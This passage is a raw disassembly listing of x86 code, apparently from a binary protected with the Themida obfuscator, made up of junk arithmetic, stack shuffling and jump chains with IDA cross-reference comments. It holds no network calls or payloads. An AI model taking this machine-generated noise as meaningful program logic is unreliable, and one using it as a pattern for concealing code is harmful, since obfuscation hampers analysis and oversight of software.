sub_5538DF+5AA4j add al, 20h add al, ch jmp sub_553D58 ; --------------------------------------------------------------------------- loc_55A28B: ; CODE XREF: sub_559C84+3D45j push 547Ah jmp loc_55D609 ; --------------------------------------------------------------------------- loc_55A295: ; CODE XREF: sub_559C84-31CFj pop edx add bl, al jmp loc_558571 ; --------------------------------------------------------------------------- loc_55A29D: ; CODE XREF: sub_559C84-8E2j push eax mov eax, esp add eax, 4 jmp loc_55802B ; --------------------------------------------------------------------------- lodsb push edx mov dl, 0F5h sub al, 7Ch jmp loc_55A8AF ; --------------------------------------------------------------------------- loc_55A2B5: ; CODE XREF: sub_559C84+566Cj pop edi push ebx mov ebx, esp jmp loc_559220 ; --------------------------------------------------------------------------- loc_55A2BE: ; CODE XREF: sub_559C84-36E1j pop esp sub esp, 4 mov [esp+44h+var_46+2], ecx mov ecx, 0C4C16CDh and ecx, 6CB71A71h xor ecx, esi xor esi, ecx xor ecx, esi push 6413h mov [esp+48h+var_4A+2], esi not [esp+48h+var_4A+2] mov esi, [esp+48h+var_4A+2] add esp, 4 xchg esi, ecx push ebp mov ebp, 0C041342h jmp loc_553EE9 ; --------------------------------------------------------------------------- loc_55A2FA: ; CODE XREF: sub_559C84+1D73j or ecx, 677C6D79h add ecx, 6FF5297Ah and ecx, 117036F9h xor ecx, 5BD43E48h mov edx, ecx jmp loc_559D33 ; --------------------------------------------------------------------------- loc_55A319: ; CODE XREF: sub_559C84-44C9j push edx mov edx, 4B34268h sub eax, edx pop edx pop ebp push ebp mov ebp, 2 sub eax, 107A18D4h add eax, ebp push edx jmp loc_5593DF ; --------------------------------------------------------------------------- loc_55A336: ; CODE XREF: Themida_:0055EE01j push esp jmp loc_55D977 ; --------------------------------------------------------------------------- loc_55A33C: ; CODE XREF: sub_559C84-3E0Cj pop edx mov esi, [esp+4Ah+var_4A] add esp, 4 jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A348: ; CODE XREF: sub_559C84+3D14j pop esp xor edx, [esp+42h+var_42] xor [esp+42h+var_42], edx xor edx, [esp+42h+var_42] pop esp jmp loc_55EA83 ; --------------------------------------------------------------------------- loc_55A358: ; CODE XREF: sub_559C84+273Fj sub eax, esi pop esi sub eax, ebx push ebp push ebx mov ebx, 56753F61h mov ebp, 7BCB9F37h jmp loc_55FBE9 ; --------------------------------------------------------------------------- loc_55A36E: ; CODE XREF: sub_559C84+29ECj add ecx, edi add ecx, 195A52B4h pop edi inc ecx add ecx, 52751F53h sub esp, 4 mov [esp+42h+var_42], edi mov edi, 1278F895h xor ecx, edi pop edi jmp loc_55D045 ; --------------------------------------------------------------------------- loc_55A394: ; CODE XREF: sub_559C84+3A24j inc bl and bl, 74h xor bl, 93h sub cl, bl pop ebx or cl, 9Ch sub cl, 2Fh sub al, cl pop ecx sub al, 9Fh add al, 0A1h add al, 2 add al, bl jmp loc_55E256 ; --------------------------------------------------------------------------- loc_55A3B5: ; CODE XREF: sub_559C84+4F95j pop edx xchg edi, [esp+32h+var_34+2] mov esp, [esp+32h+var_34+2] mov word ptr [esp+32h+var_34+2], ax mov ah, 7Eh add bl, 9Ch sub bl, ah sub bl, 9Ch pop ax add bl, 28h sub bl, 19h jmp loc_557358 ; --------------------------------------------------------------------------- loc_55A3D7: ; CODE XREF: sub_559C84+223Cj push [esp+30h+var_30] mov eax, [esp+34h+var_34] add esp, 4 jmp loc_554C2B ; --------------------------------------------------------------------------- loc_55A3E5: ; CODE XREF: sub_559C84-5AADj add esp, 4 jmp loc_555D36 ; --------------------------------------------------------------------------- loc_55A3ED: ; CODE XREF: sub_559C84+5527j mov word ptr [esp+4+var_4], dx push ax pushf jmp loc_559A23 ; --------------------------------------------------------------------------- loc_55A3F9: ; CODE XREF: sub_559C84+1861j push ecx mov ch, 0C5h dec ch push eax mov al, 16h shl al, 2 not al push ecx mov cl, 0D6h add cl, 0A4h jmp loc_559A7F ; --------------------------------------------------------------------------- loc_55A411: ; CODE XREF: sub_559C84+5149j pop ecx xor bh, 26h add al, bh jmp loc_553632 ; --------------------------------------------------------------------------- loc_55A41C: ; CODE XREF: sub_559C84+4FADj bts word ptr [esp+12h+var_14+2], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A427: ; CODE XREF: sub_559C84-4760j mov ecx, 612B142Ah jmp loc_556D48 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb byte ptr [esp+0Ah+var_C+2], al pushf jmp loc_554C83 ; --------------------------------------------------------------------------- loc_55A440: ; CODE XREF: sub_559C84-25Bj pop eax loc_55A441: ; CODE XREF: sub_559C84-38AFj push 32F7h mov [esp-20h+arg_1C], ebx push [esp-20h+arg_1C] push [esp-1Ch+arg_18] jmp loc_55D36A ; --------------------------------------------------------------------------- loc_55A454: ; CODE XREF: sub_559C84-1379j pop ecx sub ebp, edx mov edx, [esp+4Ah+var_4A] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4Eh+var_4E] pop esp and eax, ebp jmp loc_55E4E2 ; --------------------------------------------------------------------------- loc_55A470: ; CODE XREF: sub_559C84-4F3Ej push edx mov edx, esp add edx, 4 jmp loc_55BE00 ; --------------------------------------------------------------------------- loc_55A47E: ; CODE XREF: sub_559C84-148Dj mov [esp+34h+var_34], ecx push eax mov eax, 310A69D7h jmp loc_558E58 ; --------------------------------------------------------------------------- loc_55A48C: ; CODE XREF: sub_5559F0+8EB1j add edi, ebx push [esp+38h+var_3A+2] jmp loc_55870A ; --------------------------------------------------------------------------- loc_55A496: ; CODE XREF: sub_559C84+376Aj mov edi, 331246BAh neg edi neg edi shl edi, 5 add edi, 0F6C08F35h jmp loc_55BF10 ; --------------------------------------------------------------------------- loc_55A4AD: ; CODE XREF: sub_559C84+5F30j mov ebx, [esp+3Ch+var_3E+2] add esp, 4 std jmp loc_55B462 ; --------------------------------------------------------------------------- loc_55A4B9: ; CODE XREF: sub_559C84-3B69j add esi, 4 add esi, 4 xchg esi, [esp+40h+var_42+2] jmp loc_55B727 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+40h+var_42+2] push ebx sub esp, 4 mov [esp+48h+var_4A+2], esp add [esp+48h+var_4A+2], 4 push [esp+48h+var_4A+2] pop ebx jmp loc_55618F ; --------------------------------------------------------------------------- loc_55A4E8: ; CODE XREF: sub_559C84+990j pop edi jmp loc_557939 ; --------------------------------------------------------------------------- loc_55A4EE: ; CODE XREF: sub_559C84+2EBBj add esp, 4 push ecx push [esp+44h+var_42+2] pop ecx pop [esp+44h+var_46+2] mov esp, [esp+40h+var_42+2] push [esp+40h+var_42+2] jmp loc_55BFD5 ; --------------------------------------------------------------------------- loc_55A508: ; CODE XREF: sub_559C84-1081j mov bl, 8Dh neg bl add bl, 12h jmp loc_55535D ; --------------------------------------------------------------------------- loc_55A514: ; CODE XREF: Themida_:0055719Fj add eax, esi mov esi, [esp+28h+var_28] add esp, 4 xor eax, [esp+24h+var_24] jmp loc_55ADF6 ; --------------------------------------------------------------------------- loc_55A527: ; CODE XREF: Themida_:00555BF7j mov [esp+24h+var_24], ecx push edx mov dl, 0D5h jmp loc_558910 ; --------------------------------------------------------------------------- loc_55A532: ; CODE XREF: Themida_:00555927j push 0D4Bh jmp loc_557995 ; --------------------------------------------------------------------------- loc_55A53C: ; CODE XREF: sub_559C84+3123j xor al, cl mov cx, word ptr [esp+2Ch+var_2C] push esi mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp+30h+var_30] jmp loc_55694E ; --------------------------------------------------------------------------- loc_55A556: ; CODE XREF: sub_559C84+5300j pop edi add ebp, edi mov edi, [esp+2Ch+var_2C] add esp, 4 jmp loc_55A14F ; --------------------------------------------------------------------------- loc_55A567: ; CODE XREF: sub_559C84+1A3Dj add esp, 4 pop edx xor esi, [esp+20h+var_20] xor [esp+20h+var_20], esi xor esi, [esp+20h+var_20] pop esp div cl movzx cx, ah push esi push 2429h mov [esp+24h+var_24], esp push ebx jmp loc_55B6F0 ; --------------------------------------------------------------------------- loc_55A58A: ; CODE XREF: sub_559C84-1D6Aj sub ebp, 0F932DD69h add edx, ebp pop ebp add edx, 4 xchg edx, [esp+1Ch+var_1C] pop esp push ebx jmp loc_559B0D ; --------------------------------------------------------------------------- loc_55A5A3: ; CODE XREF: sub_559C84-770j push 17F6h jmp loc_556A91 ; --------------------------------------------------------------------------- loc_55A5AD: ; CODE XREF: sub_559C84-1640j pop edi xchg edx, [esp+0] pop esp push 10B2h mov [esp+0], edx mov edx, 28A630B0h add edx, 0FFFFFFFFh push esi jmp sub_5553CB ; --------------------------------------------------------------------------- loc_55A5C8: ; CODE XREF: sub_559C84+3948j push ebx mov ebx, 4 add eax, ebx pop ebx push eax push [esp+3Eh+var_3A] mov eax, [esp+42h+var_42] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+46h+var_46] pop esp pop [esp+42h+var_42] pop esp or edx, eax shl edx, 1 push 1ADCh mov [esp+3Eh+var_3E], ebp mov ebp, 0FFFFFFFFh sub [edi+24h], ebp push [esp+3Eh+var_3E] jmp loc_5548DC ; --------------------------------------------------------------------------- loc_55A60C: ; CODE XREF: sub_559C84+5E2Aj pop esi jmp sub_554404 ; --------------------------------------------------------------------------- loc_55A612: ; CODE XREF: sub_559C84-3000j add ebx, edi jmp loc_55A4E8 ; --------------------------------------------------------------------------- loc_55A619: ; CODE XREF: sub_559C84+2AD7j push 1AFAh jmp loc_55B41A ; --------------------------------------------------------------------------- loc_55A623: ; CODE XREF: sub_559C84-2F23j push esp pop ecx add ecx, 4 jmp loc_55490A ; --------------------------------------------------------------------------- loc_55A630: ; CODE XREF: sub_559C84+2555j push 5C33h mov [esp+44h+var_46+2], ecx jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A63D: ; CODE XREF: sub_559C84+1973j push edi sub esp, 4 mov [esp+4Ch+var_4E+2], esp jmp loc_55EC02 ; --------------------------------------------------------------------------- loc_55A649: ; CODE XREF: sub_55799E+Fj or edx, 1CEC1872h or edx, 1FAA040Ah or edx, 1A81333Ch jmp loc_55DAB0 ; --------------------------------------------------------------------------- loc_55A660: ; CODE XREF: sub_559C84+20F3j push ecx mov ecx, 6FE5105Ah and eax, ecx pop ecx add eax, 13B057C7h add eax, 0E4F1B409h add edi, eax jmp loc_554BDD ; --------------------------------------------------------------------------- loc_55A67A: ; CODE XREF: sub_559C84+2D64j mov esi, 3CC71A9Ah jmp loc_5541C7 ; --------------------------------------------------------------------------- loc_55A684: ; CODE XREF: sub_55523E+4j sub dh, bh pop bx jmp loc_55A07D ; --------------------------------------------------------------------------- loc_55A68D: ; CODE XREF: Themida_:0055E821j pop [esp+4Ah+var_4A] mov esp, [esp+46h+var_46] shl byte ptr [esp+46h+var_46], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A69C: ; CODE XREF: sub_559C84+5967j mov [esp+4Ah+var_4A], esi mov esi, 5BC51D97h mov ebx, 10C60091h push ebx not [esp+4Eh+var_4E] mov ebx, [esp+4Eh+var_4E] add esp, 4 push 0 sub [esp+4Eh+var_4E], ebx jmp loc_553CB2 ; --------------------------------------------------------------------------- loc_55A6C3: ; CODE XREF: sub_559C84+25B3j add ebx, 8C559173h add ebp, ebx pop ebx sub ebp, 4 push ebp push [esp+4Eh+var_4A] pop ebp pop [esp+4Eh+var_4E] mov esp, [esp+4Ah+var_4A] jmp loc_55DD44 ; --------------------------------------------------------------------------- loc_55A6E3: ; CODE XREF: sub_559C84+3320j xor [esp+4Ah+var_4A], ebp xor ebp, [esp+4Ah+var_4A] pop esp shl [esp+46h+var_46], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- push [esp+4Ah+var_4A] push [esp+4Eh+var_4E] pop eax jmp loc_55D08F ; --------------------------------------------------------------------------- loc_55A6FF: ; CODE XREF: sub_559C84-4B74j shl edi, 8 dec edi sub edi, 1 push ebp mov ebp, 21663572h add ebp, 0E3E253BEh xor edi, ebp pop ebp push ecx mov ecx, 44C87B68h sub ebx, ecx pop ecx add ebx, 51F455BCh jmp loc_557D8C ; --------------------------------------------------------------------------- loc_55A72C: ; CODE XREF: sub_559C84-4521j add ebx, 637A1160h xor ecx, ebx jmp loc_55C0E8 ; --------------------------------------------------------------------------- loc_55A739: ; CODE XREF: sub_559C84+10DAj sub [esp+48h+var_46+2], edi push edx mov edx, 1D6759B5h jmp loc_5592DC ; --------------------------------------------------------------------------- loc_55A748: ; CODE XREF: sub_559C84-44F9j add esp, 4 push eax push 1521h mov [esp+4Ch+var_4E+2], ebx push [esp+4Ch+var_4E+2] mov eax, [esp+50h+var_52+2] add esp, 4 add esp, 4 push [esp+48h+var_4A+2] pop ebx add esp, 4 push esi mov esi, 1 and eax, esi push [esp+48h+var_4A+2] jmp loc_55F5D3 ; --------------------------------------------------------------------------- push ebp push 693E12F7h pop ebp sub ebp, 0FFFFFFFFh and ebp, 4266B30h jmp loc_55C86F ; --------------------------------------------------------------------------- loc_55A78F: ; CODE XREF: sub_559C84-2B13j xor al, 31h sub bl, al pop eax jmp loc_55A13F ; --------------------------------------------------------------------------- loc_55A799: ; CODE XREF: sub_559C84-3020j add edi, 4 xchg edi, [esp+4Ch+var_4E+2] pop esp push 5C6Dh mov [esp+4Ch+var_4E+2], ecx push ebx mov ebx, 3272556Ch xor ebx, 0AB91204h xor ebx, 5A4A5DDEh shl ebx, 5 sub ebx, 10DD0C6Eh push esi jmp loc_5578C9 ; --------------------------------------------------------------------------- loc_55A7C9: ; CODE XREF: sub_559C84-656Cj add ebx, edi jmp loc_556EDA ; --------------------------------------------------------------------------- loc_55A7D0: ; CODE XREF: sub_559C84-332Cj push ecx mov ch, 5Ah jmp loc_55D7F7 ; --------------------------------------------------------------------------- dd 240C8B66h, 7DF86851h, 66E90000h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A7E7: ; CODE XREF: sub_559C84+20C3j mov esi, eax jmp loc_55860D ; --------------------------------------------------------------------------- loc_55A7EE: ; CODE XREF: sub_559C84-2ACFj add ecx, esi pop esi sub ecx, 3C6035DBh sub edi, ecx mov ecx, [esp-1Ah+arg_14+2] add esp, 4 xchg edi, [esp-1Eh+arg_18+2] mov esp, [esp-1Eh+arg_18+2] mov [esp-1Eh+arg_18+2], eax jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A810: ; CODE XREF: sub_559C84-398j push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp+3Ah+var_3A] jmp loc_554E9B ; --------------------------------------------------------------------------- loc_55A821: ; CODE XREF: sub_559C84+5479j push ecx mov ecx, 4 add edi, 177252B3h add edi, 2680AC2h add edi, 4426165h add edi, ecx jmp loc_558342 ; --------------------------------------------------------------------------- loc_55A840: ; CODE XREF: Themida_:00556E0Ej push 4F0Bh mov [esp+42h+var_42], ebx mov ebx, 0 push eax mov eax, 8330902h sub ebx, eax pop eax add ebx, edx push esi mov esi, 8330902h sub ebx, 2795A1Ch sub ebx, 287F7CD4h add ebx, esi add ebx, 287F7CD4h add ebx, 2795A1Ch mov esi, [esp+46h+var_46] sub esp, 4 mov [esp+4Ah+var_4A], edi jmp loc_55A1D6 ; --------------------------------------------------------------------------- loc_55A886: ; CODE XREF: sub_559C84-4C49j or ah, 77h push bx mov bl, 0C1h xor ah, bl pop bx sub bl, ah pop eax pop edx jmp loc_557EE7 ; --------------------------------------------------------------------------- loc_55A89A: ; CODE XREF: sub_559C84-37FFj add esp, 4 add esp, 4 xor esi, [esp+4Ah+var_4A] xor [esp+4Ah+var_4A], esi xor esi, [esp+4Ah+var_4A] pop esp jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A8AF: ; CODE XREF: sub_559C84+62Cj sub al, 0DCh add al, 0E6h add al, dl sub al, 0E6h add al, 0DCh push edx mov dh, 5Ch jmp loc_5568FD ; --------------------------------------------------------------------------- loc_55A8C1: ; CODE XREF: sub_559C84-53DEj sub ebx, 4 xchg ebx, [esp+48h+var_4A+2] pop esp mov [esp+44h+var_46+2], ebx mov bl, 67h or bl, 1Eh jmp loc_556DFE ; --------------------------------------------------------------------------- loc_55A8D8: ; CODE XREF: sub_559C84-A1Ej sub eax, ebp jmp loc_55B026 ; --------------------------------------------------------------------------- loc_55A8DF: ; CODE XREF: sub_5599A2-4DCAj push 6846h mov [esp+18h+var_18], esi push 1D32h jmp loc_556D5E ; --------------------------------------------------------------------------- loc_55A8F1: ; CODE XREF: sub_559C84-3B01j pop esp add bl, 0A8h jmp loc_55A0B1 ; --------------------------------------------------------------------------- loc_55A8FA: ; CODE XREF: sub_559C84+3AC6j mov ebx, 7BCF031Dh neg ebx add ebx, 37652727h not ebx neg ebx jmp loc_556535 ; --------------------------------------------------------------------------- loc_55A910: ; CODE XREF: sub_559C84-670Dj pop esp jmp loc_55EE47 ; --------------------------------------------------------------------------- push 5F9Ch mov [esp-10h+arg_C], edx jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A923: ; CODE XREF: Themida_:00556F1Aj push esp jmp loc_5598D9 ; --------------------------------------------------------------------------- loc_55A929: ; CODE XREF: sub_559C84-37F0j add esp, 4 push edx add [esp+4Eh+var_4E], 10009CEh push [esp+4Eh+var_4E] pop ebx add esp, 4 jmp loc_55670C ; --------------------------------------------------------------------------- loc_55A943: ; CODE XREF: sub_559C84+2E26j push ebp mov ebp, esp add ebp, 4 jmp loc_555768 ; --------------------------------------------------------------------------- loc_55A951: ; CODE XREF: sub_559C84+448Fj xchg edx, [esp+4Eh+var_4E] pop esp push dword ptr [edx] pop ecx pop edx jmp loc_555EE4 ; --------------------------------------------------------------------------- loc_55A95E: ; CODE XREF: sub_559C84+42ADj pop ecx jmp loc_555FBB ; --------------------------------------------------------------------------- loc_55A964: ; CODE XREF: Themida_:005545A8j add esi, ecx pop ecx push edx mov edx, 1FE012ECh push edi push ecx mov ecx, 4C5454Dh not ecx sub ecx, 8781B3FEh jmp loc_55BB1B ; --------------------------------------------------------------------------- loc_55A981: ; CODE XREF: sub_559C84+48BEj mov [esp+4Ah+var_4A], eax mov eax, 330E0F3Ch mov edi, 7D3666D7h xor edi, eax mov eax, [esp+4Ah+var_4A] add esp, 4 dec edi add edi, 2C53E30h push ecx mov ecx, 7E717B1Fh add edi, ecx pop ecx neg edi sub edi, 0F5A48943h jmp loc_556A6A ; --------------------------------------------------------------------------- loc_55A9B6: ; CODE XREF: sub_559C84-52DAj add esp, 4 jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A9C1: ; CODE XREF: sub_559C84-2507j add ebx, edx push ecx mov ecx, 778161C5h jmp loc_55E7E0 ; --------------------------------------------------------------------------- loc_55A9CE: ; CODE XREF: Themida_:0055F1EBj pop ebx push 2CCFh mov [esp+3Eh+var_3E], esi not [esp+3Eh+var_3E] mov esi, [esp+3Eh+var_3E] push edi mov edi, esp jmp loc_55515E ; --------------------------------------------------------------------------- loc_55A9E5: ; CODE XREF: sub_55590A+1C8Cj sub esp, 4 jmp loc_5567BE ; --------------------------------------------------------------------------- loc_55A9F0: ; CODE XREF: sub_559C84+3EF8j mov edi, [esp+46h+var_46] jmp loc_553E0C ; --------------------------------------------------------------------------- loc_55A9F8: ; CODE XREF: Themida_:0055600Dj pop eax push edi sub esp, 4 mov [esp+4Ah+var_4A], esp add [esp+4Ah+var_4A], 4 push [esp+4Ah+var_4A] pop edi jmp sub_5556C9 ; --------------------------------------------------------------------------- loc_55AA10: ; CODE XREF: sub_559C84+495Cj add esi, edi jmp loc_558091 ; --------------------------------------------------------------------------- loc_55AA17: ; CODE XREF: sub_554517+5281j mov esi, [esp+4Ah+var_4A] push ebp mov ebp, esp jmp loc_557078 ; --------------------------------------------------------------------------- loc_55AA22: ; CODE XREF: sub_559C84+54CDj mov edx, [esp+4Eh+var_4E] add esp, 4 add eax, 356C46BEh push 7CDEh mov [esp+4Eh+var_4E], edx mov edx, 44965D91h push ebp jmp loc_555C62 ; --------------------------------------------------------------------------- loc_55AA40: ; CODE XREF: sub_559C84-2C5Aj mov ebp, 30E5143Ch xor ebp, 363C0FBFh mov ebx, ebp pop ebp shr ebx, 5 sub ebx, 0CA00743h shl ebx, 4 shr ebx, 7 not ebx jmp loc_55ED3B ; --------------------------------------------------------------------------- mov cx, word ptr [esp+34h+var_34] sub esp, 4 mov [esp+38h+var_3A+2], esi push esp mov esi, [esp+3Ch+var_3E+2] jmp sub_55E425 ; --------------------------------------------------------------------------- loc_55AA7A: ; CODE XREF: sub_559C84-3A12j add cl, 8 jmp loc_55AF1A ; --------------------------------------------------------------------------- loc_55AA82: ; CODE XREF: sub_559C84+3DD1j push ebp sub esp, 4 mov [esp+38h+var_3A+2], esp jmp loc_55374A ; --------------------------------------------------------------------------- loc_55AA8E: ; CODE XREF: sub_559C84-1ABCj add esp, 4 push 41DDh mov [esp+56h+var_58+2], edi push 2 pop edi jmp loc_556120 ; --------------------------------------------------------------------------- loc_55AAA7: ; DATA XREF: Themida_:00553434o mov ax, word ptr [esp+56h+var_58+2] push 781h mov [esp+5Ah+var_5C+2], ecx push esp jmp loc_55C1F9 ; --------------------------------------------------------------------------- loc_55AAB9: ; CODE XREF: sub_559C84+4373j add eax, 0F0B39D22h add ebx, eax pop eax jmp sub_55DD10 ; --------------------------------------------------------------------------- push [esp+5Ah+var_5C+2] jmp loc_55502C ; --------------------------------------------------------------------------- loc_55AACE: ; CODE XREF: Themida_:00558026j mov [esp+5Eh+var_60+2], ebx push esp mov ebx, [esp+62h+var_64+2] jmp loc_55BFB1 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl [esp+60h+var_60], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55AAE9: ; CODE XREF: sub_559C84+2949j xor ecx, ebx pop ebx sub ebx, ecx pop ecx add ebx, 294D7260h sub ebx, eax sub ebx, 294D7260h push esi mov esi, 45F540ADh jmp loc_55E553 ; --------------------------------------------------------------------------- loc_55AB08: ; CODE XREF: sub_559C84-103Bj or ecx, eax pop eax jmp loc_558B19 ; --------------------------------------------------------------------------- loc_55AB10: ; CODE XREF: sub_559C84+3DA5j xor word ptr [esp+24h+var_24], dx pop ax xor word ptr [esp+22h+var_24+2], ax xor ax, word ptr [esp+22h+var_24+2] xor word ptr [esp+22h+var_24+2], ax jmp loc_55351F ; --------------------------------------------------------------------------- loc_55AB27: ; CODE XREF: sub_559C84-2B8j xor edi, 53EFB8FFh sub ecx, edi pop edi jmp loc_55F8DA ; --------------------------------------------------------------------------- loc_55AB35: ; CODE XREF: sub_559C84+5C51j push ebx mov ebx, 1367558Ah jmp loc_5569DD ; --------------------------------------------------------------------------- loc_55AB40: ; CODE XREF: sub_559C84+303Ej xor ebx, eax pop eax dec ebx or ebx, 54F96731h sub esp, 4 mov [esp+60h+var_60], ebp mov ebp, 0B9C0FC3h shr ebp, 2 dec ebp sub ebp, 0FFFFFFFFh not ebp push ebx push edi mov edi, 6D6546B1h add edi, 410D733Ch sub edi, 5BE22FD0h xor edi, 405ACFF6h mov ebx, edi pop edi xor ebp, ebx pop ebx jmp loc_55967D ; --------------------------------------------------------------------------- loc_55AB85: ; CODE XREF: sub_559C84+26B3j push [esp+60h+var_5C] pop edx pop [esp+60h+var_60] pop esp sub eax, ebx push 1E85h mov [esp+5Ch+var_5C], edi mov edi, 7375193Eh jmp loc_556571 ; --------------------------------------------------------------------------- loc_55ABA2: ; CODE XREF: sub_559C84-509Cj pop edx sub edi, 59DD4FFDh jmp loc_555790 ; --------------------------------------------------------------------------- loc_55ABAE: ; CODE XREF: sub_559C84+49Ej push eax mov eax, 4 jmp loc_5594AD ; --------------------------------------------------------------------------- loc_55ABB9: ; CODE XREF: sub_557920+75BEj shl ebx, 4 inc ebx push ebp mov ebp, esp sub esp, 4 mov [esp+50h+var_52+2], ecx mov ecx, 4 add ebp, ecx jmp loc_558467 ; --------------------------------------------------------------------------- loc_55ABD5: ; CODE XREF: sub_559C84+2421j add edx, 4 add edx, 4 xchg edx, [esp+50h+var_52+2] pop esp push ebp sub esp, 4 mov [esp+0], edx push 7BA77143h pop edx inc edx jmp loc_556B10 ; --------------------------------------------------------------------------- loc_55ABF8: ; CODE XREF: sub_559C84+4757j xor al, ch pop cx jmp loc_55746E ; --------------------------------------------------------------------------- loc_55AC01: ; CODE XREF: sub_559C84+54BDj sub edx, esi jmp loc_55B933 ; --------------------------------------------------------------------------- loc_55AC08: ; CODE XREF: sub_559C84-5049j mov ah, 0FCh add bl, 39h jmp loc_554A87 ; --------------------------------------------------------------------------- loc_55AC12: ; CODE XREF: sub_559C84-4046j add esp, 4 pop [esp-4+arg_0] mov esp, [esp-8+arg_4] mov [esp-8+arg_4], eax push [esp-8+arg_4] push [esp-4+arg_0] jmp loc_55F102 ; --------------------------------------------------------------------------- loc_55AC29: ; CODE XREF: sub_559C84+52A9j pop ebx jmp loc_55BA0A ; --------------------------------------------------------------------------- loc_55AC2F: ; CODE XREF: sub_559C84+1DE9j pop eax sub esi, 0DB2103Eh add esi, 4243D24Fh add ebp, esi pop esi jmp loc_55CFA1 ; --------------------------------------------------------------------------- loc_55AC44: ; CODE XREF: sub_559C84+4229j or ebx, 5DC6462Ch jmp loc_555E2F ; --------------------------------------------------------------------------- loc_55AC4F: ; CODE XREF: sub_559C84-1128j sub eax, 396272CBh add eax, edx push edx mov edx, 396272CBh add eax, edx pop edx sub eax, 30C950A7h pop edx jmp loc_55DF3E ; --------------------------------------------------------------------------- loc_55AC6A: ; CODE XREF: sub_559C84+2F24j and ebp, ebx push [esp+34h+var_34] pop ebx add esp, 4 push edi mov edi, 408E12A6h shr edi, 3 push esi mov esi, 7C4C5FAAh sub esi, 52E82211h and edi, esi pop esi jmp loc_555040 ; --------------------------------------------------------------------------- loc_55AC90: ; CODE XREF: sub_559C84+1AB9j and esi, 4C41655Fh jmp loc_5571AF ; --------------------------------------------------------------------------- loc_55AC9B: ; CODE XREF: sub_559C84+1A12j jmp loc_55351F ; --------------------------------------------------------------------------- loc_55ACA0: ; CODE XREF: sub_559C84+3A0Aj mov esi, [esp+34h+var_34] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+38h+var_3A+2] pop esp jmp loc_555BFC ; --------------------------------------------------------------------------- loc_55ACB8: ; CODE XREF: sub_559C84+213Dj mov eax, [esp+34h+var_34] push esi mov esi, esp add esi, 4 jmp loc_55986B ; --------------------------------------------------------------------------- loc_55ACC9: ; CODE XREF: sub_559C84-3AFAj mov edi, [esp+44h+var_46+2] push edi mov edi, esp add edi, 4 jmp loc_55852B ; --------------------------------------------------------------------------- loc_55ACDA: ; CODE XREF: sub_559C84-55FDj add ecx, 4 push ecx push [esp+40h+var_3E+2] pop ecx pop [esp+40h+var_42+2] pop esp and ecx, esi mov esi, [esp+38h+var_3A+2] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+3Ch+var_3E+2] jmp loc_55F710 ; --------------------------------------------------------------------------- loc_55AD00: ; CODE XREF: sub_559C84+4524j push [esp+3Ch+var_3A+2] mov edi, [esp+40h+var_42+2] add esp, 4 pop [esp+3Ch+var_3E+2] jmp loc_55D6AD ; --------------------------------------------------------------------------- loc_55AD12: ; CODE XREF: Themida_:00553DB0j mov esi, esp add esi, 4 push 6957h mov [esp+3Ch+var_3E+2], edi push 37B8h mov [esp+40h+var_42+2], esi mov esi, 2 jmp loc_5555D6 ; --------------------------------------------------------------------------- loc_55AD34: ; CODE XREF: sub_559C84-32A5j pop ebx jmp loc_559771 ; --------------------------------------------------------------------------- loc_55AD3A: ; CODE XREF: sub_559C84+2BBEj sub esp, 4 mov [esp+52h+var_52], ebx jmp loc_559288 ; --------------------------------------------------------------------------- loc_55AD48: ; CODE XREF: sub_559C84+588Fj pop ecx jmp loc_557B85 ; --------------------------------------------------------------------------- loc_55AD4E: ; CODE XREF: sub_559C84-3EE6j mov edi, 16251FDBh push ebx mov ebx, 1D6759B5h sub [esp+62h+var_5C+2], ebx pop ebx jmp loc_55A739 ; --------------------------------------------------------------------------- loc_55AD63: ; CODE XREF: sub_559C84-66BCj push ebp mov ebp, 45573859h add esi, 6AA640BAh add esi, ebp jmp loc_55F668 ; --------------------------------------------------------------------------- loc_55AD76: ; CODE XREF: sub_559C84+57ACj sub esp, 4 mov [esp+4+var_4], edx push 2EDD6FC8h mov edx, [esp+8+var_8] add esp, 4 neg edx dec edx jmp sub_55E34A ; --------------------------------------------------------------------------- loc_55AD92: ; CODE XREF: sub_559C84-202Bj xchg edx, [esp+3Eh+var_3E] pop esp and eax, edi push [esp+3Ah+var_3A] mov edi, [esp+3Eh+var_3E] add esp, 4 add esp, 4 jmp loc_55E2E8 ; --------------------------------------------------------------------------- loc_55ADAF: ; CODE XREF: sub_559C84+55E2j not ebp sub ebp, 28B50647h add ebp, 725F7957h shr ebp, 6 sub ebp, 951A79CDh add eax, ebp jmp loc_554643 ; --------------------------------------------------------------------------- loc_55ADCD: ; CODE XREF: sub_559C84+2473j push edx mov edx, 26A74E06h jmp loc_559842 ; --------------------------------------------------------------------------- loc_55ADD8: ; CODE XREF: sub_55F569-7486j sub esi, 5D8CA2EDh jmp loc_55E2B9 ; --------------------------------------------------------------------------- loc_55ADE3: ; CODE XREF: sub_559C84-2F41j mov esi, 45D25468h add ebp, esi pop esi add ebp, 272B4C91h jmp loc_55B76C ; --------------------------------------------------------------------------- loc_55ADF6: ; CODE XREF: sub_559C84+89Ej xor [esp+24h+var_24], eax xor eax, [esp+24h+var_24] mov esp, [esp+24h+var_24] mov eax, [esp+24h+var_24] push edx mov edx, esp push ebp mov ebp, 754065E4h add ebp, 8ABF9A20h add edx, 72807FFEh jmp loc_55BE73 ; --------------------------------------------------------------------------- loc_55AE1C: ; CODE XREF: sub_559C84+5748j add edx, edi pop edi jmp loc_557238 ; 